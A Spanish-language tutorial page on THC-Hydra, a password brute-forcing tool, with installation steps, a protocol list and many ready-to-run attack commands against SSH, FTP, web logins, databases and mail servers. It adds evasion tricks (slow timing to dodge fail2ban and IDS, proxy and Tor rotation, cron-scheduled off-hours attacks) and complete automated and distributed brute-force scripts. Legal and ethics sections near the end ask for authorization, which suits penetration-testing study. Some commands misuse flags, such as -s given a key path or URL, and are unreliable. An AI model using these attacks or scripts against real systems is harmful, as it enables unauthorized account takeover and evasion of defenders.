Skip to content

THC-Hydra - Herramienta de Fuerza Bruta Avanzada

THC-Hydra - Herramienta de Fuerza Bruta Avanzada

Section titled “THC-Hydra - Herramienta de Fuerza Bruta Avanzada”

THC-Hydra (o simplemente Hydra) es una de las herramientas más poderosas y versátiles para realizar ataques de fuerza bruta y diccionario contra servicios de red. Desarrollada por el equipo The Hacker’s Choice (THC), es una herramienta de código abierto que soporta más de 50 protocolos diferentes y es ampliamente utilizada en pentesting y auditorías de seguridad.

  • Multi-protocolo: Soporta más de 50 protocolos diferentes
  • Alta velocidad: Optimizado para rendimiento
  • Modular: Arquitectura extensible
  • IPv6 soportado: Compatible con redes modernas
  • Proxy support: Puede usar proxies para ataques
  • Flexibilidad: Múltiples formatos de entrada
  • Multihilo: Ejecución paralela para mayor velocidad
CaracterísticaHydraMedusaPatatorNcrack
Protocolos50+20+10+8
VelocidadMuy altaAltaMediaAlta
FlexibilidadExcelenteBuenaExcelenteBuena
ComunidadActivaLimitadaActivaLimitada
ActualizaciónRegularEsporádicaRegularRegular

Hydra viene preinstalado en Kali Linux:

Terminal window
# Verificar instalación
hydra -h
# Actualizar si es necesario
sudo apt update && sudo apt install hydra
Terminal window
# Clonar repositorio
git clone https://github.com/vanhauser-thc/thc-hydra.git
cd thc-hydra
# Instalar dependencias
sudo apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev
# Compilar e instalar
./configure
make
sudo make install
Terminal window
# Arch Linux
sudo pacman -S hydra
# Fedora/CentOS
sudo dnf install hydra
# macOS (con Homebrew)
brew install hydra
# Windows (con Cygwin o WSL)
# Usar versión de Kali en WSL o compilar desde fuente
Terminal window
hydra [opciones] protocolo://objetivo[:puerto][/ruta] [modulo opciones]
ParámetroDescripciónEjemplo
-lUsuario específico-l admin
-LLista de usuarios-L users.txt
-pContraseña específica-p password123
-PLista de contraseñas-P passwords.txt
-tNúmero de tareas paralelas-t 16
-wTiempo entre conexiones-w 30
-sPuerto específico-s 22
-fSalir al encontrar primer éxito-f
-vVModo verbose-vV
Terminal window
# Ataque básico a SSH
hydra -l admin -P passwords.txt -t 4 ssh://192.168.1.100

Hydra soporta más de 50 protocolos. Los más comunes son:

  • ssh - SSH v1/v2
  • ftp - FTP
  • ftps - FTP sobre SSL
  • telnet - Telnet
  • rsh - Remote Shell
  • rlogin - Remote Login
  • http-get - HTTP GET
  • http-post - HTTP POST
  • http-head - HTTP HEAD
  • https-get - HTTPS GET
  • https-post - HTTPS POST
  • http-form-get - Formularios web GET
  • http-form-post - Formularios web POST
  • mysql - MySQL
  • postgres - PostgreSQL
  • oracle - Oracle
  • mssql - Microsoft SQL Server
  • mongodb - MongoDB
  • redis - Redis
  • imap - IMAP
  • imaps - IMAP sobre SSL
  • pop3 - POP3
  • pop3s - POP3 sobre SSL
  • smtp - SMTP
  • smtps - SMTP sobre SSL
  • smb - SMB/CIFS
  • smbnt - SMB NTLM
  • ldap - LDAP
  • ldaps - LDAP sobre SSL
  • vnc - VNC
  • rdp - RDP
  • socks5 - SOCKS5
  • teamspeak - TeamSpeak
  • asterisk - Asterisk PBX
Terminal window
# Ataque básico a FTP
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.100
# Con lista de usuarios
hydra -L users.txt -P passwords.txt ftp://ftp.example.com
# Con puerto específico
hydra -l anonymous -p "" ftp://192.168.1.100:2121
Terminal window
# Múltiples hosts
hydra -L users.txt -P passwords.txt -M ftp_hosts.txt ftp
# Con timing personalizado
hydra -t 8 -w 20 -f -L users.txt -P passwords.txt ftp://192.168.1.100
# Con proxy
hydra -l admin -P passwords.txt -p socks5://127.0.0.1:9050 ftp://target.com
Terminal window
# Verificar si FTP permite conexiones anónimas
echo "anonymous" | ftp target.com
# Usar nmap para verificar versión de FTP
nmap -sV -p 21 target.com
# Combinar con medusa para comparación
medusa -h 192.168.1.100 -u admin -P passwords.txt -M ftp
Terminal window
# Ataque básico con usuario root
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.100
# Múltiples usuarios comunes
hydra -L common_users.txt -P passwords.txt ssh://192.168.1.100
# Con puerto no estándar
hydra -l admin -P passwords.txt -s 2222 ssh://192.168.1.100
Terminal window
# Ataque distribuido (requiere cluster)
hydra -L users.txt -P passwords.txt -M ssh_hosts.txt -t 4 ssh
# Con timing agresivo (cuidado con bloqueos)
hydra -t 16 -w 5 -f -l admin -P passwords.txt ssh://192.168.1.100
# Usando clave privada (si tienes acceso)
hydra -l user -P passwords.txt -t 4 ssh://192.168.1.100:22 -s /path/to/private/key
Terminal window
# Timing lento para evitar fail2ban
hydra -t 2 -w 60 -L users.txt -P passwords.txt ssh://target.com
# Rotación de IPs (con proxies)
hydra -l admin -P passwords.txt -p socks5://proxy1:9050 ssh://target.com
hydra -l admin -P passwords.txt -p socks5://proxy2:9050 ssh://target.com
# Usar diferentes fingerprints
# Cambiar MAC address entre intentos
Terminal window
# Verificar fail2ban o similares
nmap -p 22 --script ssh-brute target.com
# Verificar si hay honeypot
ssh -o ConnectTimeout=5 user@target.com
# Si responde inmediatamente con error, podría ser honeypot
Terminal window
# Login básico con formulario POST
hydra -l admin -P passwords.txt -f 192.168.1.100 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid credentials"
# Login con GET
hydra -l admin -P passwords.txt 192.168.1.100 http-get "/login?user=^USER^&pass=^PASS^"
# WordPress login
hydra -L users.txt -P passwords.txt -f 192.168.1.100 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^:ERROR"
Terminal window
# Básico HTTP con proxy
hydra -l admin -P passwords.txt -p http://127.0.0.1:8080 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:invalid"
# HTTPS con certificado personalizado
hydra -l admin -P passwords.txt -s https://192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:Login failed"
# Con headers personalizados
hydra -l admin -P passwords.txt 192.168.1.100 http-post-form "/login:username=^USER^&password=^PASS^:error" -H "User-Agent: Mozilla/5.0" -H "Referer: https://target.com/login"
Terminal window
# Usar curl para identificar parámetros del formulario
curl -X GET "https://target.com/login" | grep -i "input"
# Identificar cadena de error
curl -X POST "https://target.com/login" -d "username=wrong&password=wrong" | grep -i "error\|invalid\|failed"
# Usar Burp Suite para interceptar y analizar
# 1. Configurar proxy en navegador
# 2. Intentar login
# 3. Copiar request exacto
Terminal window
# Ataque básico MySQL
hydra -L users.txt -P passwords.txt mysql://192.168.1.100
# Con usuario específico
hydra -l root -P mysql_passwords.txt mysql://192.168.1.100:3306
# MySQL remoto
hydra -l admin -P passwords.txt mysql://db.example.com/database
Terminal window
# PostgreSQL básico
hydra -l postgres -P passwords.txt postgres://192.168.1.100
# Con base de datos específica
hydra -l user -P passwords.txt postgres://192.168.1.100:5432/database
Terminal window
# MSSQL básico
hydra -L users.txt -P passwords.txt mssql://192.168.1.100
# Con instancia nombrada (Windows)
hydra -l sa -P passwords.txt mssql://192.168.1.100:1433/INSTANCE_NAME
Terminal window
# IMAP básico
hydra -L users.txt -P passwords.txt imap://mail.example.com
# IMAP sobre SSL
hydra -L users.txt -P passwords.txt imaps://mail.example.com:993
Terminal window
# POP3 básico
hydra -L users.txt -P passwords.txt pop3://mail.example.com
# POP3S
hydra -L users.txt -P passwords.txt pop3s://mail.example.com:995
Terminal window
# SMTP básico
hydra -l admin -P passwords.txt smtp://mail.example.com:25
# SMTP con autenticación
hydra -L users.txt -P passwords.txt smtp://mail.example.com:587
Terminal window
# Para redes rápidas
hydra -t 32 -w 5 -f -l admin -P passwords.txt ssh://target.com
# Para redes lentas/congestionadas
hydra -t 4 -w 30 -f -l admin -P passwords.txt ssh://target.com
# Para conexiones inestables
hydra -t 2 -w 60 -c 1 -l admin -P passwords.txt ssh://target.com
Terminal window
# Para listas grandes, usar -e para optimizar memoria
hydra -L large_userlist.txt -P large_passlist.txt -e nsr ftp://target.com
# Monitorear uso de memoria
htop # o equivalente
watch -n 1 'ps aux | grep hydra'
#!/bin/bash
# Script con rotación de proxies
PROXIES=(
"socks5://proxy1:9050"
"socks5://proxy2:9050"
"socks5://proxy3:9050"
)
TARGET="192.168.1.100"
USER="admin"
PASSWORDS="passwords.txt"
for proxy in "${PROXIES[@]}"; do
echo "[+] Usando proxy: $proxy"
hydra -l $USER -P $PASSWORDS -p $proxy -t 2 -w 60 ssh://$TARGET
sleep 300 # Esperar 5 minutos entre rotaciones
done
Terminal window
# Ataque lento para evitar IDS
hydra -t 1 -w 120 -f -l admin -P passwords.txt ssh://target.com
# Ataque en horarios de baja actividad
# Usar cron para programar ataques
echo "0 2 * * * /path/to/hydra_attack.sh" | crontab -
Terminal window
# Combinar wordlists existentes
cat rockyou.txt custom_passwords.txt > combined.txt
# Generar variaciones
# Usar crunch para generar patrones
crunch 8 8 -t @@@@%%%% -o patterns.txt
# Usar cupp para wordlists personalizadas
cupp -i # Interactive mode
cupp -l company_users.txt
# Usar ceWL para wordlists basadas en sitio web
cewl -w website_words.txt https://target.com
#!/bin/bash
# Hydra Auto Scanner
# Escanea múltiples servicios automáticamente
TARGET="$1"
USERLIST="users.txt"
PASSLIST="passwords.txt"
if [ -z "$TARGET" ]; then
echo "Uso: $0 <target>"
exit 1
fi
echo "[+] Iniciando escaneo automático con Hydra"
echo "[+] Objetivo: $TARGET"
echo "[+] Fecha: $(date)"
echo "========================================"
# Función para ejecutar hydra con configuración óptima
run_hydra() {
local service="$1"
local port="$2"
local proto="$3"
echo "[+] Probando $service en puerto $port..."
if hydra -L "$USERLIST" -P "$PASSLIST" -t 4 -w 30 -f -q "$proto://$TARGET:$port" 2>/dev/null; then
echo "[+] ¡ÉXITO! Credenciales encontradas para $service"
return 0
else
echo "[-] No se encontraron credenciales para $service"
return 1
fi
}
# Servicios comunes a probar
declare -A services=(
["SSH"]="22 ssh"
["FTP"]="21 ftp"
["Telnet"]="23 telnet"
["SMTP"]="25 smtp"
["HTTP"]="80 http-post-form"
["POP3"]="110 pop3"
["IMAP"]="143 imap"
["HTTPS"]="443 https-post-form"
["SMB"]="445 smb"
["MySQL"]="3306 mysql"
["PostgreSQL"]="5432 postgres"
["RDP"]="3389 rdp"
)
success_count=0
for service in "${!services[@]}"; do
port=$(echo "${services[$service]}" | cut -d' ' -f1)
proto=$(echo "${services[$service]}" | cut -d' ' -f2)
# Verificar si el puerto está abierto con timeout
if timeout 5 bash -c "</dev/tcp/$TARGET/$port" 2>/dev/null; then
echo "[+] Puerto $port ($service) está abierto"
if run_hydra "$service" "$port" "$proto"; then
((success_count++))
fi
else
echo "[-] Puerto $port ($service) está cerrado"
fi
done
echo "========================================"
echo "[+] Escaneo completado. Éxitos: $success_count"
echo "[+] Fecha fin: $(date)"
#!/usr/bin/env python3
"""
Hydra Distributed Brute Force
Ejecuta ataques de hydra en múltiples hosts simultáneamente
"""
import subprocess
import threading
import time
import argparse
import sys
from concurrent.futures import ThreadPoolExecutor, as_completed
class HydraDistributed:
def __init__(self, userlist, passlist, targets, protocol="ssh", threads_per_host=4):
self.userlist = userlist
self.passlist = passlist
self.targets = targets if isinstance(targets, list) else [targets]
self.protocol = protocol
self.threads_per_host = threads_per_host
self.results = {}
def run_hydra_on_host(self, target):
"""Ejecuta hydra en un host específico"""
cmd = [
"hydra",
"-L", self.userlist,
"-P", self.passlist,
"-t", str(self.threads_per_host),
"-w", "30",
"-f",
"-q", # Quiet mode
f"{self.protocol}://{target}"
]
try:
print(f"[+] Iniciando ataque en {target}")
result = subprocess.run(
cmd,
capture_output=True,
text=True,
timeout=3600 # 1 hora timeout
)
if result.returncode == 0 and "[login]" in result.stdout:
self.results[target] = {
'status': 'success',
'output': result.stdout
}
print(f"[+] ¡ÉXITO! Credenciales encontradas en {target}")
return target, True
else:
self.results[target] = {
'status': 'failed',
'output': result.stdout
}
print(f"[-] Sin éxito en {target}")
return target, False
except subprocess.TimeoutExpired:
print(f"[!] Timeout en {target}")
self.results[target] = {'status': 'timeout'}
return target, False
except Exception as e:
print(f"[!] Error en {target}: {e}")
self.results[target] = {'status': 'error', 'error': str(e)}
return target, False
def run_distributed_attack(self):
"""Ejecuta ataques distribuidos"""
print(f"[+] Iniciando ataque distribuido en {len(self.targets)} hosts")
print(f"[+] Protocolo: {self.protocol}")
print("=" * 50)
successful_hosts = []
with ThreadPoolExecutor(max_workers=len(self.targets)) as executor:
futures = [executor.submit(self.run_hydra_on_host, target) for target in self.targets]
for future in as_completed(futures):
try:
target, success = future.result()
if success:
successful_hosts.append(target)
except Exception as e:
print(f"[!] Error procesando resultado: {e}")
print("=" * 50)
print(f"[+] Ataque completado. Hosts vulnerables: {len(successful_hosts)}")
if successful_hosts:
print("[+] Hosts con credenciales encontradas:")
for host in successful_hosts:
print(f" - {host}")
return successful_hosts
def main():
parser = argparse.ArgumentParser(description="Hydra Distributed Brute Force")
parser.add_argument("-u", "--users", required=True, help="Lista de usuarios")
parser.add_argument("-p", "--passwords", required=True, help="Lista de contraseñas")
parser.add_argument("-t", "--targets", required=True, help="Archivo con lista de targets o target único")
parser.add_argument("-s", "--service", default="ssh", choices=["ssh", "ftp", "telnet", "http-post-form"], help="Servicio a atacar")
parser.add_argument("-n", "--threads", type=int, default=4, help="Threads por host")
args = parser.parse_args()
# Leer lista de targets
try:
with open(args.targets, 'r') as f:
targets = [line.strip() for line in f if line.strip()]
except FileNotFoundError:
# Si no es archivo, tratar como host único
targets = [args.targets]
hydra_dist = HydraDistributed(
userlist=args.users,
passlist=args.passwords,
targets=targets,
protocol=args.service,
threads_per_host=args.threads
)
successful = hydra_dist.run_distributed_attack()
# Guardar resultados
with open("hydra_results.txt", "w") as f:
f.write("Resultados del ataque distribuido\n")
f.write(f"Fecha: {time.ctime()}\n")
f.write(f"Protocolo: {args.service}\n")
f.write(f"Hosts analizados: {len(targets)}\n")
f.write(f"Hosts vulnerables: {len(successful)}\n\n")
for target, result in hydra_dist.results.items():
f.write(f"[{target}]\n")
f.write(f"Estado: {result['status']}\n")
if 'output' in result:
f.write(f"Output: {result['output']}\n")
f.write("\n")
if __name__ == "__main__":
main()
#!/bin/bash
# Hydra Monitor & Reporter
# Monitorea ataques de hydra y genera reportes
LOG_FILE="hydra_monitor.log"
REPORT_FILE="hydra_report_$(date +%Y%m%d_%H%M%S).txt"
# Función de logging
log() {
echo "[$(date '+%Y-%m-%d %H:%M:%S')] $*" | tee -a "$LOG_FILE"
}
# Función para obtener estadísticas del sistema
get_system_stats() {
echo "=== ESTADÍSTICAS DEL SISTEMA ==="
echo "CPU: $(uptime | awk '{print $8,$9,$10}')"
echo "Memoria: $(free -h | grep Mem | awk '{print $3 "/" $2}')"
echo "Disco: $(df -h / | tail -1 | awk '{print $3 "/" $2 " (" $5 " usado)"}')"
echo ""
}
# Función para monitorear procesos hydra
monitor_hydra_processes() {
echo "=== PROCESOS HYDRA ACTIVOS ==="
ps aux | grep hydra | grep -v grep | while read line; do
pid=$(echo "$line" | awk '{print $2}')
cpu=$(echo "$line" | awk '{print $3}')
mem=$(echo "$line" | awk '{print $4}')
cmd=$(echo "$line" | awk '{for(i=11;i<=NF;i++) printf "%s ", $i; print ""}')
echo "PID: $pid | CPU: $cpu% | MEM: $mem% | CMD: $cmd"
done
echo ""
}
# Función para analizar resultados
analyze_results() {
local result_file="$1"
if [ ! -f "$result_file" ]; then
echo "Archivo de resultados no encontrado: $result_file"
return
fi
echo "=== ANÁLISIS DE RESULTADOS ==="
echo "Archivo analizado: $result_file"
echo ""
# Contar líneas de éxito
success_count=$(grep -c "\[login\]" "$result_file" 2>/dev/null || echo "0")
echo "Credenciales encontradas: $success_count"
# Mostrar credenciales encontradas
if [ "$success_count" -gt 0 ]; then
echo ""
echo "CREDENCIALES ENCONTRADAS:"
grep "\[login\]" "$result_file" | while read line; do
echo " $line"
done
fi
# Estadísticas adicionales
total_attempts=$(grep -c "login:" "$result_file" 2>/dev/null || echo "0")
echo ""
echo "Total de intentos: $total_attempts"
if [ "$total_attempts" -gt 0 ]; then
success_rate=$((success_count * 100 / total_attempts))
echo "Tasa de éxito: $success_rate%"
fi
}
# Función principal
main() {
log "Iniciando monitor de Hydra"
get_system_stats > "$REPORT_FILE"
while true; do
echo "" >> "$REPORT_FILE"
echo "=== $(date) ===" >> "$REPORT_FILE"
monitor_hydra_processes >> "$REPORT_FILE"
# Verificar si hay archivos de resultados nuevos
for result_file in hydra.*.txt 2>/dev/null; do
if [ -f "$result_file" ]; then
log "Analizando resultados: $result_file"
analyze_results "$result_file" >> "$REPORT_FILE"
# Mover archivo procesado
mv "$result_file" "processed_$result_file"
fi
done
sleep 60 # Revisar cada minuto
done
}
# Manejo de señales
trap 'log "Monitor detenido por señal"; exit 0' INT TERM
# Verificar si se ejecuta como monitor o análisis único
if [ "$1" = "--monitor" ]; then
main
elif [ "$1" = "--analyze" ] && [ -n "$2" ]; then
analyze_results "$2"
else
echo "Uso:"
echo " $0 --monitor # Iniciar monitor continuo"
echo " $0 --analyze <file> # Analizar archivo de resultados"
exit 1
fi
Terminal window
# Crear wordlists eficientes
# 1. Remover duplicados
sort passwords.txt | uniq > clean_passwords.txt
# 2. Priorizar contraseñas comunes
head -1000 rockyou.txt > common_passwords.txt
# 3. Crear wordlists contextuales
echo -e "password\n123456\nqwerty\nadmin\nletmein\nwelcome" > custom_passwords.txt
# 4. Combinar fuentes
cat /usr/share/wordlists/rockyou.txt custom_passwords.txt company_words.txt > master_list.txt
Terminal window
# Técnicas anti-bloqueo
# 1. Timing variable
hydra -t 2 -w 30 -W 5 -L users.txt -P passwords.txt ssh://target.com
# 2. Usar diferentes IPs (VPN/Tor)
# 3. Cambiar User-Agent en ataques HTTP
hydra -H "User-Agent: Mozilla/5.0 (Custom Agent)" ...
# 4. Evitar patrones predecibles
# No usar secuencias como user1, user2, user3...
Terminal window
# 1. Ataque por fases
# Fase 1: Credenciales por defecto
hydra -C default_creds.txt ssh://target.com
# Fase 2: Usuarios comunes con contraseñas comunes
hydra -L common_users.txt -P common_passwords.txt ssh://target.com
# Fase 3: Ataque completo
hydra -L all_users.txt -P all_passwords.txt ssh://target.com
# 2. Ataque basado en estadísticas
# Usar herramientas como Pipal para analizar dumps de contraseñas
# y crear wordlists basadas en patrones encontrados
Terminal window
# Logging detallado
hydra -o hydra_results.txt -b text -L users.txt -P passwords.txt ssh://target.com
# Formatos de output
# -b text: Formato de texto plano
# -b json: Formato JSON
# -b xml: Formato XML
# Monitoreo en tiempo real
watch -n 10 'ps aux | grep hydra'
tail -f hydra_restore_file

Estados Unidos:

  • Computer Fraud and Abuse Act (CFAA): Prohibe acceso no autorizado
  • Electronic Communications Privacy Act (ECPA): Protege comunicaciones electrónicas

Unión Europea:

  • GDPR: Regulación de protección de datos
  • Cybercrime Convention: Convenio sobre ciberdelincuencia
  • NIS Directive: Seguridad de redes e información

América Latina:

  • Ley de Delitos Informáticos (países específicos)
  • Ley de Protección de Datos Personales
  • Códigos penales sobre acceso no autorizado
Permisos Necesarios:
✅ Permitido únicamente con:
- Autorización escrita del propietario del sistema
- Contrato de pentesting firmado
- Alcance definido claramente
- Permiso para realizar fuerza bruta
❌ Prohibido sin autorización:
- Ataques a sistemas de terceros
- Uso de recursos computacionales ajenos
- Violación de términos de servicio
- Acceso no autorizado a datos
  1. Transparencia: Informar sobre métodos y hallazgos
  2. Minimización de impacto: Evitar interrupciones innecesarias
  3. Confidencialidad: Proteger información sensible encontrada
  4. Responsabilidad: Reportar vulnerabilidades apropiadamente
Terminal window
# 1. Definir reglas de engagement
echo "REGLAS DE ENGAGEMENT:
- Solo sistemas autorizados
- Horarios permitidos: 9:00-18:00
- No afectar servicios críticos
- Reportar hallazgos inmediatamente" > rules.txt
# 2. Logging completo de actividades
LOG_FILE="pentest_$(date +%Y%m%d).log"
exec > >(tee -a "$LOG_FILE") 2>&1
# 3. Backup de configuraciones originales
# Antes de modificar cualquier cosa, hacer backup
# 4. Comunicación constante con cliente
# Reportes periódicos de progreso
  • Bloqueo de cuenta: Sistemas pueden bloquear cuentas después de intentos fallidos
  • Detección por IDS/IPS: Ataques pueden ser detectados y bloqueados
  • Ruido en logs: Genera entradas masivas en logs de seguridad
  • Denegación de servicio: Ataques intensivos pueden afectar rendimiento
  • Delitos informáticos: Acceso no autorizado puede ser considerado delito
  • Responsabilidad civil: Daños causados pueden generar demandas
  • Pérdida de certificaciones: Violación de códigos éticos puede revocar certificaciones
  • Consecuencias profesionales: Pérdida de reputación y empleo
Terminal window
# 1. Patator - Alternativa moderna a Hydra
git clone https://github.com/lanjelot/patator.git
cd patator
python patator.py
# 2. Medusa - Similar a Hydra
sudo apt install medusa
# 3. Ncrack - Especializado en servicios de red
sudo apt install ncrack
# 4. Metasploit - Módulos de fuerza bruta
msfconsole
use auxiliary/scanner/ssh/ssh_login
Terminal window
# Repositorios de wordlists
# 1. SecLists (recomendado)
git clone https://github.com/danielmiessler/SecLists.git
# 2. RockYou (clásico)
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# 3. Probable-Wordlists
git clone https://github.com/berzerk0/Probable-Wordlists.git
# 4. Wordlists personalizadas
cewl -w custom_wordlist.txt https://target.com
cupp -l company_names.txt

THC-Hydra es una herramienta indispensable en el arsenal de cualquier profesional de ciberseguridad. Su versatilidad, velocidad y soporte multi-protocolo la convierten en la elección preferida para ataques de fuerza bruta éticos.

  1. Poderosa y versátil: Soporta 50+ protocolos con alta velocidad
  2. Configurable: Múltiples opciones para optimización y evasión
  3. Automatizable: Scripts permiten ataques distribuidos y monitoreados
  4. Ética primero: Solo usar con autorización y responsabilidad
  5. Complementaria: Mejor usada junto con otras herramientas
  • Siempre obtener autorización antes de usar Hydra
  • Combinar con otras técnicas para mayor efectividad
  • Optimizar parámetros según el objetivo y red
  • Documentar todo para reportes y auditorías
  • Mantenerse actualizado con las últimas versiones

Recuerda: La fuerza bruta es una técnica de último recurso. Siempre intenta métodos más eficientes primero, como ingeniería social o explotación de vulnerabilidades conocidas.


Última actualización: 2025-01-23 Versión: 2.0